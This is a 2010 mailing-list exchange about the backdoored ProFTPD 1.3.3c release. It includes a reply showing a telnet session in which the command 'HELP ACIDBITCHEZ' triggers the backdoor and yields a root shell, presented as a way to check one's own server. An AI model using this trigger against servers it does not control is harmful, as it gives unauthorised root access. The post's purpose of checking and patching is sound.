ftp/proftpd 1.3.3c with a version which contained a backdoor.

[Ivan Klymenko]

В Thu, 2 Dec 2010 23:22:06 +0200
Ivan Klymenko <fidaj at ukr.net> пишет:

> Hello, people!
> What do you think is it worth to pay attention to these events:
> http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org
> 
> and that in this case needs to be done with the port ftp/proftpd
> itself?
> 
> Thanks!

Check vulnerability of your server, you can by using the following
command sequence:

$ telnet 1.2.3.4 21
   Trying 1.2.3.4...
   Connected to 1.2.3.4
   Escape character is '^]'.
   220 ProFTPD 1.3.3c Server (ProFTPD Default Installation) [1.2.3.4]
    
   HELP ACIDBITCHEZ
 
   id ;
 
   uid=0(root) gid=0(root) groups=0(root),65534(nogroup)